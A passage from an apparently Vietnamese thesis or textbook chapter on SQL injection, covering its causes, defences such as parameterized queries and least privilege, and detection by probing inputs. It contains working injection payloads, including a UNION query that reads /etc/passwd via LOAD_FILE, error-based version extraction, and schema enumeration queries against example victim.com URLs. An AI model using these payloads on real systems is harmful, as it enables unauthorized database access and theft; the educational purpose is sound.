Bắt đầu từ đầu năm 2008, hàng trăm ngàn trang web đã bị đột nhập bởi các phương tiện tấn công SQL injection tự động Một công cụ đã được sử dụng để tìm kiếm các ứng dụng trên internet bị dính lỗi SQL injection, và khi một lỗ hổng được tìm thấy thì công cụ đó sẽ tự động khai thác chúng Khi tải trọng khai thác được chuyển giao thì nó sẽ thực hiện lặp đi lặp lại các vòng lặp SQL mà mỗi bảng tạo ra người dùng trong khi truy cập cơ sở dữ liệu từ xa và sau đó nối các cột trong bảng với một kịch bản độc hại phía máy khách Hầu hết các ứng dụng web hướng cơ sở

dữ liệu thì đều sử dụng dữ liệu trong cơ sở dữ liệu để tạo ra nội dung cho trang web, cuối cùng kịch bản đó sẽ được trình bày cho người dùng về những trang web hoặc những ứng dụng bị lỗi Các nhãn này sẽ hướng dẫn bất kỳ một trình duyệt tải một

13

trang web bị lây nhiễm để thực thi một đoạn mã độc mà được đặt trên một máy chủ

từ xa Mục đích của việc này là nhằm lây nhiễm mã độc đến nhiều máy chủ khác có thể Đó là một cuộc tấn công hiệu quả Đáng chú ý là các trang web quan trọng như các cơ quan của Chính phủ, Liên Hợp Quốc, và các tập đoàn lớn đã bị đột nhập và lây nhiễm bởi đa số cuộc tấn công này Rất khó để xác định chính xác có bao nhiêu máy tính khách và những khách viếng thăm các trang web này đã lần lượt bị nhiễm

mã độc hoặc bị tổn hại, nhất là khi tải trọng được chuyển giao đã được tùy chỉnh bởi những kẻ phát động cuộc tấn công

Tìm hiểu các lỗ hổng Sql injection

SQL là ngôn ngữ chuẩn để truy cập vào các máy chủ cơ sở dữ liệu như Microsoft SQL Server, Oracle, MySQL, Sybase và Informix, … Hầu hết các ứng dụng web thì cần tương tác với một cơ sở dữ liệu, và hầu hết các ngôn ngữ lập trình như ASP, C#, Java, PHP, … cung cấp các cách thức lập trình kết nối đến cơ sở dữ liệu và tương tác với nó Các lỗ hổng SQL injection thường xảy ra khi các nhà phát triển ứng dụng web không đảm bảo chắc chắn rằng các giá trị nhận được từ một form, cookie, tham số đầu vào, … được xác nhận trước khi chúng được chạy với các truy vấn SQL mà sẽ được thực thi trên một máy chủ cơ sở dữ liệu Nếu một kẻ tấn công có thể kiểm soát đầu vào và gửi đến một truy vấn SQL và thao tác với dữ liệu nhập vào mà dữ liệu được hiểu là mã thay vì được hiểu là dữ liệu, một kẻ tấn công có thể thực thi mã đó trên cơ sở dữ liệu phía sau

Mỗi ngôn ngữ lập trình thì cung cấp một số cách khác nhau để tạo ra và thực thi những câu lệnh SQL, và những nhà phát triển thường sử dụng sự kết hợp của những phương thức này để đặt được những mục tiêu khác nhau Có rất nhiều trang web cung cấp các hướng dẫn và các đoạn mã ví dụ để giúp các nhà phát triển ứng dụng giải quyết các vấn đề mã hóa thông thường được dạy những bài thực hành mã hóa không an toàn và những đoạn mã ví dụ của họ thì thường có lỗ hổng Nếu không có một sự hiểu biết đúng đắn về cơ sở dữ liệu cơ bản mà họ đang tương tác với một sự hiểu biết toàn diện và nhận thức về các vấn đề bảo mật của đoạn mã mà họ đang

14

phát triển, những nhà phát triển ứng dụng thường có thể tạo ra những ứng dụng vốn không an toàn mà còn dễ bị dính lỗi SQL injection

Dynamic String Building

Dynamic string building là một kỹ thuật lập trình cho phép các nhà phát triển tạo ra các câu lệnh SQL linh hoạt lúc chạy Những nhà phát triển có thể tạo ra những mục đích chung, các ứng dụng mềm dẻo bằng cách sử dụng SQL động Một câu lệnh SQL động được tạo ra lúc thực thi mà điều kiện khác nhau sẽ tạo ra những câu lệnh SQL khác nhau Nó có thể hữu ích cho các nhà phát triển tạo ra các câu lệnh tự động khi chúng cần được quyết định trong thời gian chạy những trường nào được trả về, câu lệnh SELECT, các tiêu chí khác nhau cho các truy vấn và có lẽ các bảng cũng khác nhau để truy vấn dựa trên những điều kiện khác nhau

Tuy nhiên, các nhà phát triển có thể đạt được cùng một kết quả một cách an toàn hơn nhiều nếu họ sử dụng các truy vấn đã được tham số hóa Những truy vấn được tham số hóa là những truy vấn có một hoặc nhiều tham số được nhúng trong câu lệnh SQL Các tham số có thể được truyền cho các truy vấn này trong thời gian chạy; các tham số có chứa các thông số đầu vào của người dùng được nhúng sẽ không hiểu được là các lệnh để thực thi, và sẽ không có cơ hội nào cho các mã được chèn vào Phương pháp nhúng các tham số này trong SQL hiệu quả hơn và an toàn hơn nhiều so với cách tạo và thực thi các câu lệnh SQL một cách động sử dụng kỹ thuật tạo chuỗi

Một trong những hậu quả của việc tạo ra các câu lệnh SQL động đó là nếu như đoạn mã không được xác nhận hay không được mã hóa đầu vào trước khi chuyển

nó đến câu lệnh được tạo ra động, thì một kẻ tấn công có thể nhập vào một câu lệnh SQL như là một giá trị đầu vào của ứng dụng và những câu lệnh SQL của hắn ta sẽ được chuyển đến cơ sở dữ liệu và được thực thi Đây là câu lệnh mà đoạn code đó tạo ra:

SELECT * FROM TABLE WHERE FIELD = 'input'

15

Xử lý các ký tự dấu nháy đơn không chính xác

Cơ sở dữ liệu SQL hiểu những ký tự nháy đơn („) như một ranh giới giữa đoạn

mã và dữ liệu Nó hiểu rằng bất cứ những gì sau dấu nháy đơn là đoạn mã thì nó cần phải chạy và bất cứ cái gì được đóng trong dấu nháy đơn thì đều là dữ liệu Vì vậy

ta có thể nhanh chóng biết được một trang web có bị lỗi SQL injection hay không bằng cách thêm dấu nháy đơn vào trong url hoặc trong một trường trong một trang web hoặc một ứng dụng

Nếu ta nhập vào một ký tự „ làm đầu vào cho ứng dụng, thì ta có thể thấy được một trong các lỗi sau đây, kết quả phụ thuộc vào một số yếu tố môi trường, chẳng hạn như ngôn ngữ lập trình, cơ sở dữ liệu đang dùng, cũng như các kỹ thuật bảo vệ

và phòng thủ được cài đặt

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in

/home/cavallovn/domains/cavallo.vn/public_html/productdetailconten t.php on line 3

Chúng ta có thể nhận được lỗi trước hoặc một lỗi sau Các lỗi dưới đây cung cấp những thông tin hữu ích cho cách các câu lệnh SQL được trình bày như thế nào: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

Lý do của lỗi này là do ký tự „ đã được hiểu như là một chuỗi ký tự phân cách Một cách cú pháp hóa, câu truy vấn SQL được thực thi lúc trong thời gian chạy không đúng (nó có một chuỗi ký tự quá nhiều ký tự phân cách), và do đó cơ sở dữ liệu đưa ra một ngoại lệ Các cơ sở dữ liệu SQL hiểu ký tự „ như một ký tự đặc biệt (một chuỗi phân cách) Ký tự dùng trong các cuộc tấn công SQL injection để thoát khỏi truy vấn của các nhà phát triển mà kẻ tấn công có thể tạo ra những truy vấn cho riêng mình và thực hiện chúng

16

Xử lý sai kiểu

Đến bây giờ, một số người có thể nghĩ rằng để tránh bị khai thác lỗi SQL injection thì chỉ đơn giản là xác nhận đầu vào để loại bỏ những ký tự nháy đơn „ là

đủ Vâng, đó là một cái bẫy mà nhiều nhà phát triển ứng dụng web đã rơi vào Như

đã giải thích trước đó, ký tự nháy đơn được hiểu như một xâu phân cách và được sử dụng như một ranh giới giữa đoạn mã và dữ liệu Khi xử lý dữ liệu kiểu số thì nó không cần thiết phải đóng gói dữ liệu trong những dấu nháy kép; nếu không các dữ liệu số sẽ được hiểu như một chuỗi

MySQL cung cấp một chức năng gọi là LOAD_FILE mà đọc một tệp tin và trả

về một tệp tin nội dung như một chuỗi Để sử dụng chức năng này, tệp tin phải được đặt trên các máy chủ lưu trữ cơ sở dữ liệu và tên các đường dẫn đầy đủ đến tệp tin phải được cung cấp làm đầu vào cho hàm Người sử dụng muốn gọi hàm thì phải có quyền trên tệp tin Câu lệnh dưới đây, nếu nhập vào theo đầu vào, có thể cho phép một kẻ tấn công có thể đọc nội dung của tệp tin /etc/passwd, trong đó có các thuộc tính của người dùng và tên người dùng trong danh sách những người dùng hệ thống:

1 UNION ALL SELECT LOAD_FILE('/etc/passwd')

Đầu vào mà kẻ tấn công nhập vào sẽ được hiểu trực tiếp như cú pháp SQL; vì thế, không cần cho kẻ tấn công thoát khỏi truy vấn với ký tự nháy đơn Đây là một

mô tả rõ ràng hơn về câu lệnh SQL được tạo ra:

SELECT * FROM TABLE WHERE USERID = 1 UNION ALL SELECT LOAD_FILE('/etc/passwd')

Các lỗi xử lý không chính xác

Các lỗi xử lý không chính xác có thể đưa ra một loạt các vấn đề về bảo mật cho một trang web Vấn đề thường xảy ra nhất là khi các thông báo lỗi nội bộ chẳng hạn như cơ sở dữ liệu đổ vỡ và các mã lỗi được hiển thị chi tiết cho người dùng hoặc kẻ tấn công Những thông điệp này đã để lộ những chi tiết của những gì đã cài đặt mà không bao giờ được để lộ ra ngoài Những chi tiết như vậy có thể cung cấp cho một

17

kẻ tấn công những đầu mối quan trọng về khả năng của những lỗ hổng trong trang web Những thông điệp báo lỗi của cơ sở dữ liệu một cách rườm rà có thể được sử dụng để trích xuất thông tin từ cơ sở dữ liệu để phục vụ cho việc khai thác như làm thế nào để sửa đổi hoặc chèn vào để thoát khỏi những truy vấn của những nhà phát triển hay làm thế nào để vận dụng nó để mang lại thêm nhiều dữ liệu hoặc trong một số trường hợp có thể lấy ra toàn bộ cơ sở dữ liệu của trang web đó

Nếu một kẻ tấn công thao tác bằng tay những yêu cầu bằng HTTP và thay thế các giá trị ID dự kiến của mình vào cho câu lệnh SQL, thì hắn ta có thể sử dụng thông tin về những thông điệp lỗi SQL để tìm hiểu giá trị trong cơ sở dữ liệu Ví dụ, nếu kẻ tấn công nhập vào các truy vấn sau đây, thực thi các câu lệnh SQL sẽ cho kết quả trong một thông tin với những thông báo lỗi SQL được hiển thị có chứa thông tin về phiên bản của hệ quản trị cơ sở dữ liệu (RDBMS) mà ứng dụng web đang sử dụng:

' and 1 in (SELECT @@version) Mặc dù đoạn mã này không chưa điều kiện bẫy lỗi, nó cũng không cung cấp tùy chỉnh và những thông báo lỗi chung chung Thay vào đó, nó cho phép kẻ tấn công thao tác bằng tay trên các ứng dụng và thông tin những thông báo lỗi của ứng dụng

đó Dưới đây là thông báo lỗi được trả về trên trình duyệt của người sử dụng:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.534 (Intel X86) Nov 19 2001 13:23:50 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 3) ' to a column of data type int

Xử lý sai nhiều quy trình

Danh sách trắng là một kỹ thuật cho chúng ta biết những ký tự không được phép, ngoại trừ những ký tự có trong danh sách trắng Danh sách trắng gần như là

để xác nhận giá trị đầu vào để tạo một danh sách tất cả các ký tự có thể sẽ được

18

phép nhập vào trong giá trị đầu vào và từ chối bất kỳ những ký tự còn lại khác Nó khuyến cáo người dùng sử dụng danh sách trắng gần như một sự đối nghịch với danh sách đen Một danh sách đen là một kỹ thuật cho biết tất cả những ký tự được phép, ngoại trừ những ký tự có trong danh sách đen Danh sách đen gần như là để xác nhận các giá trị nhập vào và tạo một danh sách tất cả các ký tự có thể và những

ký tự được mã hóa tương ứng mà có thể được sử dụng một cách độc hại, và loại bỏ những giá trị đó Vì vậy có nhiều loại tấn công tồn tại có thể được thể hiện trong vô

số cách mà sự tồn tại các lỗi như vậy sẽ là một mối đe dọa lớn Những rủi ro tiềm

ẩn kết hợp với những ký tự không được phép thì có thể luôn luôn bỏ qua một ký tự không được phép đó khi định nghĩa ra một danh sách hoặc là quên một hoặc nhiều những mô tả khác của những ký tự không được phép

Có một vấn đề có thể xảy ra trên những dự án phát triển web lớn mà theo đó một số nhà phát triển sẽ theo lời khuyên này và xác nhận đầu vào của họ, nhưng những nhà phát triển khác thì sẽ không làm một cách tỉ mỉ Nó không phổ biến đối với những nhà phát triển, những nhóm hay thậm chí những công ty để làm việc một cách độc lập với những người khác và để thấy rằng tất cả mọi người tham giá phát triển đều không theo một tiêu chuẩn nhất định Ví dụ, trong một đánh giá của một ứng dụng, không phải phổ biến để cho thấy rằng hầu như tất cả các đầu vào được xác nhận; tuy nhiên, nếu kiên trì ta có thể định vị một đầu vào mà một nhà phát triển đã quên xác nhận

Những nhà phát triển ứng dụng cũng có xu hướng thiết kế một ứng dụng cho một người sử dụng và cố gắng hướng dẫn người sử dụng thông qua một quá trình

dự kiến, và nghĩ rằng người dùng sẽ thực hiện một cách hợp lý các bước mà họ đã vạch ra Ví dụ, họ mong đợi rằng nếu một người sử dụng đạt đến lớp thứ ba trong một loạt các lớp thì họ phải hoàn tất các lớp thứ nhất và thứ hai Trong thực tế, mặc

dù, nó thường rất đơn giản để bỏ qua các luồng dữ liệu được mong đợi bởi những tài nguyên yêu cầu sẽ được hiển thị trực tiếp thông qua các url của họ

19

Các nhà phát triển ứng dụng thì không nghĩ rằng lớp thứ hai cần phải xác nhận đầu vào như lớp thứ nhất sẽ phải xác nhận đầu vào Một kẻ tấn công có thể gọi lớp thứ hai trực tiếp mà không sử dụng lớp đầu tiên, hoặc đơn giản hắn ta có thể gửi những dữ liệu có giá trị như một đầu vào vào lớp đầu tiên và sau đó sẽ thao tác dữ liệu khi nó được hiển thị lên trong lớp thứ hai Các url đầu tiên ở đây sẽ thất bại như những đầu vào đã được xác nhận; các url thứ hai sẽ cho kết quả trong một cuộc tấn công SQL injection thành công, như đầu vào là không hợp lệ:

[1] http://www.victim.com/form.php?form=form1&param=' SQL Failed [2] http://www.victim.com/form.php?form=form2&param=' SQL Success

Cấu hình cơ sở dữ liệu không an toàn

Ta có thể giảm thiểu các truy cập có thể được kế thừa, một lượng dữ liệu có thể

bị đánh cắp hoặc thao tác bằng tay, mức độ truy cập vào những hệ thống liên kết với nhau và sự thiệt hại có thể gây ra bởi một cuộc tấn công SQL injection, trong nhiều cách Vì vậy bảo mật những mã nguồn của ứng dụng là nơi đầu tiên để bắt đầu; tuy nhiên không thể bỏ qua cơ sở dữ liệu của mình Cơ sở dữ liệu đi kèm với một số lượng lớn người dùng mặc định được cài đặt sẵn Microsoft SQL Server thì sử dụng tài khoản quản trị hệ thống cơ sở dữ liệu là “sa”, MySQL thì sử dụng tài khoản là

“root” và “anonymous”, và với Oracle thì các tài khoản SYS, SYSTEM, DBSNMP

và OUTLN thường được tạo ra mặc định khi cơ sở dữ liệu được tạo ra Đó không chỉ là những tài khoản, mà chỉ một vài tài khoản được dùng có rất nhiều nữa Các tài khoản này được cấu hình mặc định trước và mật khẩu thì cũng được biết trước Một số nhà quản trị hệ thống và quản trị cơ sở dữ liệu cài đặt những máy chủ cơ

sở dữ liệu để thực thi như là root, SYSTEM, hoặc những tài khoản người dùng trong hệ thống có quyền ngang với Administrator Những máy chủ chạy những dịch

vụ, đặc biệt là những máy chủ cơ sở dữ liệu thì luôn luôn nên chạy với những tài khoản không có đặc quyền nếu có thể để giảm thiểu những thiệt hại tiềm ẩn cho hệ điều hành và những quá trình khác trong trường hợp một cuộc tấn công thành công

để hoạt động với một quyền truy cập tối thiểu cho cơ sở dữ liệu của ứng dụng đó và những vai trò đặc quyền riêng biệt đối với các yêu cầu chức năng của ứng dụng Trong một thế giới lý tưởng, các ứng dụng cũng nên sử dụng những người dùng

cơ sở dữ liệu khác nhau để thực hiện SELECT, UPDATE, INSERT và những lệnh tương tự Trong trường hợp một kẻ tấn công chèn đoạn mã vào một câu lệnh có lỗ hổng thì những đặc quyền cấp cho sẽ được giảm thiểu Hầu hết các ứng dụng không

có những đặc quyền riêng biệt, vì vậy một kẻ tấn công thường truy cập được tất cả

dữ liệu trong cơ sở dữ liệu và thực hiện SELECT, INSERT, UPDATE, DELETE, EXECUTE, và những đặc quyền tương tự Những đặc quyền quá thừa thường có thể cho phép một kẻ tấn công chuyển từ cơ sở dữ liệu và truy cập những dữ liệu bên ngoài những lưu trữ của ứng dụng

Để làm được điều này thì hắn ta phải biết những gì khác có sẵn, những gì cơ sở

dữ liệu khác được cài đặt, những gì bảng khác đang có và những trường nào hấp dẫn được tìm kiếm nhất! Khi một kẻ tấn công khai thác lỗ hổng SQL injection thì hắn ta thường sẽ cố gắng để truy cập metadata của cơ sở dữ liệu Metadata là một

dữ liệu về những dữ liệu mà chứa trong một cơ sở dữ liệu như tên cơ sở dữ liệu hoặc tên các bảng, kiểu dữ liệu của một cột hoặc quyền truy cập Các điều khoản khác đôi khi được dùng cho những thông tin về những từ điển dữ liệu và danh mục

21

hệ thống Đối với MySQL Server phiên bản 5.0 trở lên, dữ liệu này được tổ chức trong cơ sở dữ liệu ảo INFORMATION_SCHEMA và có thể được truy cập bằng cách sử dụng những lệnh SHOW DATABASES và SHOW TABLES Mỗi tài khoản MySQL có quyền truy cập vào những bảng trong cơ sở dữ liệu, nhưng chỉ có thể thấy những dòng trong những bảng tưng ứng với đối tượng mà người dụng có quyền truy cập thích hợp Microsoft SQL Server cũng có một khái niệm tương tự và metadata có thể được truy cập thông qua INFORMATION_SCHEMA hoặc những bảng hệ thống khác (như sysobjects, sysindexkeys, sysindexes, syscolumns, systypes, …), và hoặc với hệ thống lưu trữ thủ tục; SQL Server 2005 giới thiệu một vài hệ thống danh mục được xem như “sys.*” và được giới hạn truy cập đến các đối tượng mà người dùng có quyền truy cập thích hợp Mỗi tài khoản Microsoft SQL Server thì có quyền truy cập vào các bảng trong cơ sở dữ liệu này và có thể xem tất

cả các hàng trong bảng cho dù anh ta có quyền truy cập thích hợp trong các bảng hoặc các dữ liệu được tham chiếu đến hay không

Trong khi đó, Oracle cung cập một số lượng tổng thể tất cả những hiển thị được truy cập vào metadata trong Oracle (ALL_TABLES, ALL_TAB_COLUMNS, …) Danh sách các thuộc tính và các đối tượng có thể truy cập cho người dùng hiện tại Ngoài ra, những hiển thị tương đương mà có tiền tố USER_ thì chỉ hiển thị những đối tượng của nó bởi những người dùng hiện hành (nghĩa là có một sự hạn chế xem metadata) và những tiền tố DBA_ thì hiển thị tất cả những đối tượng trong cơ sở dữ liệu (không giới hạn xem tất cả metadata trong cơ sở dữ liệu) Các chức năng Metadata DBA_ yêu cầu những quyền của những nhà quản trị cơ sở dữ liệu (DBA) Đây là một ví dụ về những câu lệnh:

Oracle statement to enumerate all accessible tables for the current user SELECT OWNER, TABLE_NAME FROM ALL_TABLES ORDER BY TABLE_NAME;

MySQL statement to enumerate all accessible tables and databases for the

current user

SELECT table_schema, table_name FROM information_schema.tables;

22

MS SQL statement to enumerate all accessible tables using the system

tables

SELECT name FROM sysobjects WHERE xtype = 'U';

MS SQL statement to enumerate all accessible tables using the catalog

views

SELECT name FROM sys.tables;

23

CHƯƠNG 2 KIỂM TRA CÁC LỖ HỔNG SQL INJECTION

Chương này thảo luận các vấn đề kỹ thuật để tìm hiểu vấn đề SQL injection từ quan điểm của người dùng đang tương tác với ứng dụng web trên trình duyệt Chúng ta cũng sẽ thảo luận về kỹ thuật để xác nhận rằng vấn đề này thực sự là SQL injection và không phải là vấn đề khác như XML injection Cuối cùng, chúng ta sẽ xem xét quá trình tự động phát hiện SQL injection để tăng hiệu quả của việc phát hiện những trường hợp đơn giản của SQL injection

2.2 Tìm kiếm lỗ hổng SQL injection

SQL injection có thể tồn tại trong bất kỳ ứng dụng trước-sau thu nhận việc nhập

dữ liệu từ một hệ thống hoặc người dùng, sau đó được sử dụng để truy cập vào một máy chủ cơ sở dữ liệu Trong phần này, chúng ta sẽ tập trung vào môi trường Web,

vì đây là kịch bản phổ biến nhất

Trong một môi trường web, trình duyệt web là một máy khách hoạt động như một yêu cầu dữ liệu đầu cuối từ người dùng và gửi nó đến máy chủ ở xa Nơi mà sẽ tạo ra các truy vấn SQL bằng cách sử dụng submitted dữ liệu Mục tiêu chính của chúng ta trong giai đoạn này là xác định các bất thường trong các phản ứng máy chủ

và xác định xem chúng có phải được tạo ra bởi một lỗ hổng SQL injection hay không

24

Hiếm khi chúng ta có thể truy cập vào mã nguồn của ứng dụng, và do đó chúng

ta sẽ cần thử nghiệm bằng suy luận Có một tư duy phân tích là rất quan trọng trong việc hiểu và thực hiện một cuộc tấn công Ta sẽ cần phải rất cẩn thận trong việc tìm hiểu phản ứng máy chủ để suy luận những gì có thể xảy ra từ phía máy chủ Nó là việc gửi các yêu cầu đến máy chủ và phát hiện bất thường trong trả lời Chúng ta có thể nghĩ rằng việc tìm ra SQL injection là về việc gửi các giá trị ngẫu nhiên đến máy chủ, nhưng ta sẽ thấy rằng một khi ta hiểu được logic và nguyên tắc cơ bản của cuộc tấn công nó sẽ trở thành một đơn giản và quá trình thú vị

Kiểm tra bằng suy luận

Có một quy tắc đơn giản để xác định các lỗ hổng SQL injection: Trigger bất thường bởi việc gửi dữ liệu không mong muốn Quy luật này có nghĩa là:

 Xác định tất cả các mục dữ liệu trên các ứng dụng web

 Biết những loại yêu cầu nào có thể gây ra bất thường

 Phát hiện bất thường trong các phản hồi từ máy chủ

Nó đơn giản như vậy Trước tiên, ta cần phải xem cách trình duyệt web gửi yêu cầu đến máy chủ web Các ứng dụng khác nhau sẽ phản hồi theo những cách khác nhau, nhưng những nguyên tắc cơ bản thì tương tự, vì tất cả chúng đều dựa vào các môi trường web

Một khi xác định tất cả các dữ liệu được ứng dụng chấp nhận, ta cần phải sửa đổi nó và phân tích những phản hồi từ máy chủ Đôi khi phản hồi sẽ bao gồm một lỗi SQL trực tiếp từ cơ sở dữ liệu và sẽ làm cho ta suy luận rất dễ dàng, tuy nhiên nhiều phản hồi không chỉ đơn giản như vậy nên ta sẽ cần tiếp tục tập trung và phát hiện sự khác nhau từ các phản hồi từ phía máy chủ

Vận dụng các tham số

Giả sử chúng ta truy cập vào trang web của Victim Inc, một cửa hàng thương mại điện tử, nơi ta có thể mua tất cả các loại sản phẩm Ta có thể kiểm tra các sản

Các trang showproducts.php nhận tham số gọi là category Chúng ta không cần

phân loại bất cứ cái gì, như là các liên kết trước đó được trình bày trên trang Web,

do đó ta chỉ cần nhấp vào chúng Các ứng dụng tại các máy chủ sẽ dựa vào các tham số category đã được cung cấp và tính toán rồi đưa kết quả ra màn hình

Mặc dù không có quá trình bắt đầu thử nghiệm thì chúng ta cũng nên có ý tưởng sơ qua về cách thức ứng dụng làm việc Ta có thể khẳng định rằng các ứng dụng không phải tĩnh, và dường như chúng phụ thuộc vào giá trị của tham số

category mà mỗi loại ứng dụng sẽ hiển thị sản phẩm khác nhau dựa trên kết quả của

truy vấn đến một cơ sở dữ liệu phía sau

Chúng ta có thể bắt đầu tự thay đổi các giá trị của tham số category ở những

điều mà ứng dụng không mong đợi, ví dụ như sau:

Cảnh báo này là một lỗi cơ sở dữ liệu MySQL được trả lại bởi cơ sở dữ liệu khi người dùng cố gắng đọc một bản ghi từ một tập hợp kết quả sản phẩm rỗng Lỗi này chỉ ra rằng các ứng dụng từ xa không xử lý dữ liệu bất thường một cách chính xác Tiếp tục với quá trình suy luận khi ta thực hiện một yêu cầu, đưa thêm một dấu nháy đơn (') như sau:

26

http:/ /www.victim.com/showproducts.php?category=attacker'

Máy chủ trả lại lỗi dưới đây:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''attacker''' at line 1

Chúng ta thấy, một số ứng dụng phản ứng theo những cách bất thường khi xử lý

dữ liệu người dùng Không phải mọi bất thường được phát hiện trong một trang web là có được do một lỗ hổng SQL injection, vì nó có thể bị ảnh hưởng bởi một số vấn đề khác Khi đã trở nên quen thuộc hơn với việc khai thác SQL injection, ta sẽ nhận ra tầm quan trọng của các ký tự nháy đơn để phát hiện mục tiêu và ta sẽ học cách để gửi yêu cầu chính xác đến máy chủ để xác định những loại injection là có thể

Một thử nghiệm thú vị mà ta có thể thực hiện để xác định lỗ hổng trong Microsoft SQL Server và Oracle là gửi hai yêu cầu sau đây để các máy chủ Web http://www.victim.com/showproducts.php?category=bikes

Thông tin về luồng công việc

Trong phần trước, ta đã thấy một số lỗi SQL injection hiển thị kết quả dựa vào các tham số đầu vào Vậy chúng ta có thể tự hỏi tại sao các máy chủ web cho thấy một lỗi từ cơ sở dữ liệu nếu thay đổi tham số Mặc dù các lỗi được hiển thị trong phản hồi máy chủ web, SQL injection xảy ra ở các lớp cơ sở dữ liệu Những ví dụ

Hình 2.2 – Luồng thông tin trong kiến trúc 3 tầng [1]

Hình 2.2 cho thấy thông tin về luồng các công việc giữa các thành phần tham gia từ một yêu cầu gửi đến của người sử dụng:

i Người sử dụng gửi yêu cầu đến máy chủ web

ii Các máy chủ Web truy xuất dữ liệu của người dùng, tạo ra một câu lệnh SQL

có chứa dữ liệu người dùng, và sau đó gửi các truy vấn đến máy chủ cơ sở

dữ liệu

iii Các máy chủ cơ sở dữ liệu thực thi các truy vấn SQL và trả về kết quả cho máy chủ web Lưu ý rằng các máy chủ cơ sở dữ liệu không biết về logic của ứng dụng, nó sẽ chỉ thực hiện một kết quả truy vấn và trả lại kết quả

iv Các máy chủ web tự động tạo ra một trang HTML dựa trên các phản hồi cơ

sở dữ liệu

Như chúng ta thấy, máy chủ web và máy chủ cơ sở dữ liệu là những thực thể riêng biệt Các máy chủ Web chỉ tạo ra một truy vấn SQL, phân tích các kết quả, và

28

hiển thị các kết quả cho người dùng Các cơ sở dữ liệu máy chủ nhận được truy vấn

và trả kết quả về máy chủ web Điều này là rất quan trọng đối với khai thác các lỗ hổng SQL injection bởi vì nếu ta có thể thao tác các câu lệnh SQL và làm cho máy chủ cơ sở dữ liệu trả lại dữ liệu tùy ý (như tên người dùng và mật khẩu từ trang web Victim Inc.) của máy chủ web không có phương tiện để kiểm tra xem dữ liệu là hợp pháp

Các lỗi cơ sở dữ liệu

Trong phần trước, chúng ta đã thấy một số lỗi SQL injection hiện thị như một kết quả của quá trình thao tác các tham số Mặc dù các lỗi được hiển thị trong các phản hồi từ máy chủ web, SQL injection xảy ra tại lớp cơ sở dữ liệu Những ví dụ cho thấy cách mà ta có thể liên lạc được với máy chủ cơ sở dữ liệu Một điều rất quan trọng là chúng ta phải làm quen với các lỗi cơ sở dữ liệu khác nhau mà ta có thể nhận được từ máy chủ web khi tiến hành kiểm tra các lỗ hổng SQL injection Hình 2.3 sẽ cho thấy một lỗi SQL injection xảy ra như thế nào và làm thế nào để máy chủ giải quyết nó

Hình 2.3 - Thông tin về luồng công việc trong một lỗi SQL injection [1]

Chúng ta thấy trong hình 2.3, sau khi xảy ra một lỗi SQL injection:

i Người sử dụng cố gắng gửi một yêu cầu để xác định một lỗ hổng SQL injection Trong trường hợp này, người dùng gửi một giá trị với một dấu nháy đơn nối vào sau đó

ii Máy chủ web lấy dữ liệu từ phía người dùng cung cấp, sau đó gửi một truy vấn SQL đến máy chủ cơ sở dữ liệu Trong ví dụ này, ta có thể thấy rằng câu lệnh

Các ví dụ trên đây minh họa một kịch bản yêu cầu từ phía người dùng gây nên một lỗi trong cơ sở dữ liệu Tùy thuộc vào các ứng dụng được mã hóa như thế nào, tệp tin trả về trong bước 4 sẽ được xây dựng và xử lý như kết quả của một trong những điều sau đây:

 Các lỗi SQL injection được hiển thị trên trang web và được hiển thị cho người dùng trên trình duyệt

 Lỗi SQL được ẩn trong mã nguồn của trang web nhằm mục đích gỡ rối

 Chuyển hướng đên một trang khác được sử dụng khi phát hiện ra lỗi

 Một lỗi “HTTP error code 500” (Internal Server Error) hoặc “HTTP redirection code 302” được trả về

 Các ứng dụng xử lý các lỗi đúng và đơn giản cho thấy không có kết quả,

có thể hiển thị một trang lỗi chung chung

Khi chúng ta đang cố gắng xác định một lỗ hổng SQL injection thì ta cần phải xác định kiểu mà những ứng dụng phản hồi được trả về Trong phần tiếp theo chúng

ta sẽ tập trung vào các kịch bản phổ biến nhất có thể gặp phải Khả năng để xác định một cơ sở dữ liệu từ xa là tối quan trọng để có thể tiến hành một cuộc tấn công SQL injection thành công và di chuyển về từ những nhận định của những lỗ hổng này để khai thác thêm

30

Các lỗi SQL hiển thị thông thường

Trong phần trước, chúng ta đã thấy rằng các ứng dụng phản ứng khác nhau khi

cơ sở dữ liệu trả về một lỗi Khi ta cố gắng xác định không biết có một đầu vào cụ thể nào gây ra một lỗ hổng SQL hay không, các thông báo lỗi của máy chủ web có thể rất có ích Kịch bản tốt nhất là một ứng dụng trả về một lỗi SQL đầy đủ, mặc dù điều này không phải lúc nào cũng luôn xảy ra Những ví dụ dưới đây sẽ giúp ta làm quen với một số lỗi điển hình nhất Ta sẽ thấy rằng các lỗi SQL thường đưa ra những dấu nháy kép mở, điều này là do SQL yêu cầu những giá trị của những ký tự chữ số phải nằm giữa những dấu nháy đơn Chúng ta sẽ thấy trong một số ví dụ về các lỗi điển hình cùng với các lời chú thích đơn giản về những gì gây ra lỗi

Các lỗi của Microsoft SQL Server

http:/ /www.victim.com/showproducts.aspx?category=attacker'

Lỗi trả về từ những ứng dụng sẽ tương tự như sau:

Server Error in '/' Application

Unclosed quotation mark before the character string 'attacker;'

Description: An unhandled exception occurred during the execution of the current web request Please review the stack trace for more information about the error and where it originated

SELECT * FROM products WHERE category='attacker''

31

Chúng ta chỉ nhìn thấy một ví dụ về injection trong một chuỗi ký tự Ví dụ dưới đây sẽ cho thấy kiểu những lỗi trả về khi chèn vào một giá trị số, do đó không kèm theo 2 dấu nháy trong câu lệnh SQL

http://www.victim.com/showproduct.aspx?id=2

Khi chúng ta thay đổi giá trị của tham số id thành một giá trị nào đó như sau: http://www.victim.com/showproduct.aspx?id=attacker

thì ứng dụng sẽ trả về một lỗi tương tự như sau:

Server Error in '/' Application

Invalid column name 'attacker'

Description: An unhandled exception occurred during the execution of the current web request Please review the stack trace for more information about the error and where it originated

SELECT * FROM products WHERE idproduct=2

Ta thay idproduct từ 2 thành attacker thì kết quả của câu lệnh SQL gửi đến máy chủ cơ sở dữ liệu sẽ có cú pháp như sau:

SELECT * FROM products WHERE idproduct=attacker

